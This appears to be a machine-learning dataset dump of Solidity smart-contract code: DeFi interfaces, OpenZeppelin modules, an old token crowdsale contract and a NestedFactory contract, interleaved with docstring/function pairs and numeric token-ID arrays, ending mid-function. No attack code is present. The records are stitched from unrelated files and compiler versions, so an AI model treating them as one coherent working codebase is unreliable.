/// @notice Gets the amount of shares of `yieldToken` that `spender` is allowed to withdraw on behalf of `owner`.
///
/// @param owner The owner of the account.
/// @param spender The address which is allowed to withdraw on behalf of `owner`.
/// @param yieldToken The address of the yield token.
///
/// @return allowance The amount of shares that `spender` can withdraw on behalf of `owner`.
function withdrawAllowance(address owner, address spender, address yieldToken) external view returns (uint256 allowance);
/// @notice Gets the parameters of an underlying token.
///
/// @param underlyingToken The address of the underlying token.
///
/// @return params The underlying token parameters.
function getUnderlyingTokenParameters(address underlyingToken)
external view
returns (UnderlyingTokenParams memory params);
/// @notice Get the parameters and state of a yield-token.
///
/// @param yieldToken The address of the yield token.
///
/// @return params The yield token parameters.
function getYieldTokenParameters(address yieldToken)
external view
returns (YieldTokenParams memory params);
/// @notice Gets current limit, maximum, and rate of the minting limiter.
///
/// @return currentLimit The current amount of debt tokens that can be minted.
/// @return rate The maximum possible amount of tokens that can be liquidated at a time.
/// @return maximum The highest possible maximum amount of debt tokens that can be minted at a time.
function getMintLimitInfo()
external view
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
);
/// @notice Gets current limit, maximum, and rate of a repay limiter for `underlyingToken`.
///
/// @param underlyingToken The address of the underlying token.
///
/// @return currentLimit The current amount of underlying tokens that can be repaid.
/// @return rate The rate at which the the current limit increases back to its maximum in tokens per block.
/// @return maximum The maximum possible amount of tokens that can be repaid at a time.
function getRepayLimitInfo(address underlyingToken)
external view
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
);
/// @notice Gets current limit, maximum, and rate of the liquidation limiter for `underlyingToken`.
///
/// @param underlyingToken The address of the underlying token.
///
/// @return currentLimit The current amount of underlying tokens that can be liquidated.
/// @return rate The rate at which the function increases back to its maximum limit (tokens / block).
/// @return maximum The highest possible maximum amount of debt tokens that can be liquidated at a time.
function getLiquidationLimitInfo(address underlyingToken)
external view
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
);
}
pragma solidity >=0.5.0;
import "./IERC20Minimal.sol";
/// @title IERC20Burnable
/// @author Alchemix Finance
interface IERC20Burnable is IERC20Minimal {
/// @notice Burns `amount` tokens from the balance of `msg.sender`.
///
/// @param amount The amount of tokens to burn.
///
/// @return If burning the tokens was successful.
function burn(uint256 amount) external returns (bool);
/// @notice Burns `amount` tokens from `owner`'s balance.
///
/// @param owner The address to burn tokens from.
/// @param amount The amount of tokens to burn.
///
/// @return If burning the tokens was successful.
function burnFrom(address owner, uint256 amount) external returns (bool);
}
pragma solidity >=0.5.0;
import "./IERC20Minimal.sol";
/// @title IERC20Mintable
/// @author Alchemix Finance
interface IERC20Mintable is IERC20Minimal {
/// @notice Mints `amount` tokens to `recipient`.
///
/// @param recipient The address which will receive the minted tokens.
/// @param amount The amount of tokens to mint.
///
/// @return If minting the tokens was successful.
function mint(address recipient, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity >=0.5.0;
/// @title IERC20Metadata
/// @author Alchemix Finance
interface IERC20Metadata {
/// @notice Gets the name of the token.
///
/// @return The name.
function name() external view returns (string memory);
/// @notice Gets the symbol of the token.
///
/// @return The symbol.
function symbol() external view returns (string memory);
/// @notice Gets the number of decimals that the token has.
///
/// @return The number of decimals.
function decimals() external view returns (uint8);
}
|
@notice An error which is thrown when a lock is attempted to be claimed before it has been freed. @notice The lock state. Non-zero values indicate the lock has been claimed. @dev A modifier which acquires the mutex.
|
modifier lock() {
_claimLock();
_;
_freeLock();
}
| 504,894 |
[
1,
979,
555,
1492,
353,
6718,
1347,
279,
2176,
353,
18121,
358,
506,
7516,
329,
1865,
518,
711,
2118,
28004,
18,
225,
1021,
2176,
919,
18,
3858,
17,
7124,
924,
10768,
326,
2176,
711,
2118,
7516,
329,
18,
225,
432,
9606,
1492,
1721,
4138,
326,
9020,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
2176,
1435,
288,
203,
3639,
389,
14784,
2531,
5621,
203,
203,
3639,
389,
31,
203,
203,
3639,
389,
9156,
2531,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0x8d8ebbccb9dd1cedc9ad7ac316d590a58921f24b
//Contract name: Sale
//Balance: 0 Ether
//Verification Date: 5/8/2018
//Transacion Count: 13
// CODE STARTS HERE
pragma solidity ^0.4.15;
// File: contracts/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/GRAD.sol
contract GRAD {
using SafeMath for uint256;
string public name = "Gadus";
string public symbol = "GRAD";
uint public decimals = 18;
uint256 public totalSupply;
address owner;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Approval(address indexed tokenOwner, address indexed spender, uint256 value);
event Mint (address indexed to, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 value);
// construtor
function GRAD() public{
owner = msg.sender;
}
/**
* @dev Mint token to tagret parametred
* @param _to address The address which you want to mint to
* @param _value uint256 the amout of tokens to be transfered
*/
function mint(address _to, uint256 _value) onlyOwner public returns (bool){
balances[_to] = balances[_to].add(_value);
totalSupply = totalSupply.add(_value);
Mint(_to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
// File: contracts/Sale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end block, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Sale is Ownable{
using SafeMath for uint256;
// The token being sold
GRAD public token;
// start and end block where investments are allowed (both inclusive)
uint256 public startBlock;
uint256 public endBlock;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
bool private isSaleActive;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Sale(uint256 _startBlock, uint256 _rate, address _wallet) public {
require(_startBlock >= block.number);
require(_rate > 0);
require(_wallet != 0x0);
owner = msg.sender;
token = createTokenContract();
startBlock = _startBlock;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (GRAD) {
return new GRAD();
}
// fallback function can be used to buy tokens
function () payable public {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) payable public {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
uint256 bonus = calclulateBonus(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens.add(bonus));
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens.add(bonus));
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
//
function calclulateBonus(uint256 _weiAmount) internal pure returns (uint256) {
uint256 weiAmount = _weiAmount;
// 7% over 10 eth
// 5% over 5 eth
// 3 over 2.5 eth
if (weiAmount >= 1e18 * 10) {
return (weiAmount.mul(7)).div(100);
} else if (weiAmount >= 1e18 * 5) {
return (weiAmount.mul(5)).div(100);
} else if (weiAmount >= 1e17 * 25) {
return (weiAmount.mul(3)).div(100);
} else {
return 0;
}
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
uint256 current = block.number;
bool withinPeriod = current >= startBlock;
bool withinSaleRunning = isSaleActive;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase && withinSaleRunning;
}
//disable if enabled
function disableSale() onlyOwner() public returns (bool) {
require(isSaleActive == true);
isSaleActive = false;
return true;
}
// enable if diabled
function enableSale() onlyOwner() public returns (bool) {
require(isSaleActive == false);
isSaleActive = true;
return true;
}
// retruns true if sale is currently active
function saleStatus() public constant returns (bool){
return isSaleActive;
}
}
|
* @dev Transfer tokens from one address to another @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amout of tokens to be transfered/ Check is not needed because sub(_allowance, _value) will already throw if this condition is not met require (_value <= _allowance);
|
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
| 1,013,480 |
[
1,
5912,
2430,
628,
1245,
1758,
358,
4042,
225,
389,
2080,
1758,
1021,
1758,
1492,
1846,
2545,
358,
1366,
2430,
628,
225,
389,
869,
1758,
1021,
1758,
1492,
1846,
2545,
358,
7412,
358,
225,
389,
1132,
2254,
5034,
326,
2125,
659,
434,
2430,
358,
506,
7412,
329,
19,
2073,
353,
486,
3577,
2724,
720,
24899,
5965,
1359,
16,
389,
1132,
13,
903,
1818,
604,
309,
333,
2269,
353,
486,
5100,
2583,
261,
67,
1132,
1648,
389,
5965,
1359,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
13,
288,
203,
565,
569,
389,
5965,
1359,
273,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
15533,
203,
203,
203,
565,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
1132,
1769,
203,
565,
324,
26488,
63,
67,
2080,
65,
273,
324,
26488,
63,
67,
2080,
8009,
1717,
24899,
1132,
1769,
203,
565,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
65,
273,
389,
5965,
1359,
18,
1717,
24899,
1132,
1769,
203,
565,
12279,
24899,
2080,
16,
389,
869,
16,
389,
1132,
1769,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0x394B4Af803476889160430689Ad478d4fc851e58/sources/CrimecashFarm.sol
|
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to `recipient`, forwarding all available gas and reverting on errors. of certain opcodes, possibly making contracts go over the 2300 gas limit imposed by `transfer`, making them unable to receive funds via `transfer`. {sendValue} removes this limitation. IMPORTANT: because control is transferred to `recipient`, care must be taken to not create reentrancy vulnerabilities. Consider using {ReentrancyGuard} or the/ solhint-disable-next-line avoid-low-level-calls, avoid-call-value(bool success, ) = recipient.call{ value: amount }("");
|
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value( amount )("");
require(success, "Address: unable to send value, recipient may have reverted");
}
| 5,066,957 |
[
1,
15201,
364,
348,
7953,
560,
1807,
1375,
13866,
68,
30,
9573,
1375,
8949,
68,
732,
77,
358,
1375,
20367,
9191,
20635,
777,
2319,
16189,
471,
15226,
310,
603,
1334,
18,
434,
8626,
1061,
7000,
16,
10016,
10480,
20092,
1960,
1879,
326,
10213,
713,
16189,
1800,
709,
7423,
635,
1375,
13866,
9191,
10480,
2182,
13496,
358,
6798,
284,
19156,
3970,
1375,
13866,
8338,
288,
4661,
620,
97,
7157,
333,
17732,
18,
21840,
6856,
30,
2724,
3325,
353,
906,
4193,
358,
1375,
20367,
9191,
7671,
1297,
506,
9830,
358,
486,
752,
283,
8230,
12514,
331,
19063,
5756,
18,
23047,
1450,
288,
426,
8230,
12514,
16709,
97,
578,
326,
19,
3704,
11317,
17,
8394,
17,
4285,
17,
1369,
4543,
17,
821,
17,
2815,
17,
12550,
16,
4543,
17,
1991,
17,
1132,
12,
6430,
2216,
16,
262,
273,
8027,
18,
1991,
95,
460,
30,
3844,
289,
2932,
8863,
2,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0
] |
[
1,
565,
445,
1366,
620,
12,
2867,
8843,
429,
8027,
16,
2254,
5034,
3844,
13,
2713,
288,
203,
3639,
2583,
12,
2867,
12,
2211,
2934,
12296,
1545,
3844,
16,
315,
1887,
30,
2763,
11339,
11013,
8863,
203,
203,
3639,
261,
6430,
2216,
16,
262,
273,
8027,
18,
1991,
18,
1132,
12,
3844,
262,
2932,
8863,
203,
3639,
2583,
12,
4768,
16,
315,
1887,
30,
13496,
358,
1366,
460,
16,
8027,
2026,
1240,
15226,
329,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./abstracts/OwnableProxyDelegation.sol";
import "./abstracts/MixinOperatorResolver.sol";
import "./libraries/ExchangeHelpers.sol";
import "./interfaces/external/IWETH.sol";
import "./interfaces/INestedFactory.sol";
import "./FeeSplitter.sol";
import "./NestedReserve.sol";
import "./NestedAsset.sol";
import "./NestedRecords.sol";
import "./Withdrawer.sol";
import "hardhat/console.sol";
/// @title Creates, updates and destroys NestedAssets (portfolios).
/// @notice Responsible for the business logic of the protocol and interaction with operators
contract NestedFactory is INestedFactory, ReentrancyGuard, OwnableProxyDelegation, MixinOperatorResolver {
/* ----------------------------- VARIABLES ----------------------------- */
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/// @dev Supported operators by the factory contract
bytes32[] private operators;
/// @dev Current feeSplitter contract/address
FeeSplitter public feeSplitter;
/// @dev Current reserve contract/address
NestedReserve public immutable reserve;
/// @dev Current nested asset (ERC721) contract/address
NestedAsset public immutable nestedAsset;
/// @dev Wrapped Ether contract/address
/// Note: Will be WMATIC, WAVAX, WBNB,... Depending on the chain.
IWETH public immutable weth;
/// @dev Current records contract/address
NestedRecords public immutable nestedRecords;
/// @dev Helper to withdraw native tokens from wrapper
Withdrawer private immutable withdrawer;
/// @dev Fees when funds stay in portfolios
/// From 1 to 10,000 (0.01% to 100%)
uint256 public entryFees;
/// @dev Fees when funds are withdrawed
/// From 1 to 10,000 (0.01% to 100%)
uint256 public exitFees;
/* ---------------------------- CONSTRUCTOR ---------------------------- */
constructor(
NestedAsset _nestedAsset,
NestedRecords _nestedRecords,
NestedReserve _reserve,
FeeSplitter _feeSplitter,
IWETH _weth,
address _operatorResolver,
Withdrawer _withdrawer
) MixinOperatorResolver(_operatorResolver) {
require(
address(_nestedAsset) != address(0) &&
address(_nestedRecords) != address(0) &&
address(_reserve) != address(0) &&
address(_feeSplitter) != address(0) &&
address(_weth) != address(0) &&
_operatorResolver != address(0) &&
address(_withdrawer) != address(0),
"NF: INVALID_ADDRESS"
);
nestedAsset = _nestedAsset;
nestedRecords = _nestedRecords;
reserve = _reserve;
feeSplitter = _feeSplitter;
weth = _weth;
withdrawer = _withdrawer;
}
/// @dev Receive function
receive() external payable {
require(msg.sender == address(withdrawer), "NF: ETH_SENDER_NOT_WITHDRAWER");
}
/* ------------------------------ MODIFIERS ---------------------------- */
/// @dev Reverts the transaction if the caller is not the token owner
/// @param _nftId The NFT Id
modifier onlyTokenOwner(uint256 _nftId) {
require(nestedAsset.ownerOf(_nftId) == _msgSender(), "NF: CALLER_NOT_OWNER");
_;
}
/// @dev Reverts the transaction if the nft is locked (hold by design).
/// The block.timestamp must be greater than NFT record lock timestamp
/// @param _nftId The NFT Id
modifier isUnlocked(uint256 _nftId) {
require(block.timestamp > nestedRecords.getLockTimestamp(_nftId), "NF: LOCKED_NFT");
_;
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Get the required operators
function resolverOperatorsRequired() public view override returns (bytes32[] memory) {
return operators;
}
/* -------------------------- OWNER FUNCTIONS -------------------------- */
/// @inheritdoc INestedFactory
function addOperator(bytes32 operator) external override onlyOwner {
require(operator != bytes32(""), "NF: INVALID_OPERATOR_NAME");
bytes32[] memory operatorsCache = operators;
for (uint256 i = 0; i < operatorsCache.length; i++) {
require(operatorsCache[i] != operator, "NF: EXISTENT_OPERATOR");
}
operators.push(operator);
rebuildCache();
emit OperatorAdded(operator);
}
/// @inheritdoc INestedFactory
function removeOperator(bytes32 operator) external override onlyOwner {
bytes32[] storage operatorsCache = operators;
uint256 operatorsLength = operatorsCache.length;
for (uint256 i = 0; i < operatorsLength; i++) {
if (operatorsCache[i] == operator) {
operatorsCache[i] = operators[operatorsLength - 1];
operatorsCache.pop();
if (operatorCache[operator].implementation != address(0)) {
delete operatorCache[operator]; // remove from cache
}
rebuildCache();
emit OperatorRemoved(operator);
return;
}
}
revert("NF: NON_EXISTENT_OPERATOR");
}
/// @inheritdoc INestedFactory
function setFeeSplitter(FeeSplitter _feeSplitter) external override onlyOwner {
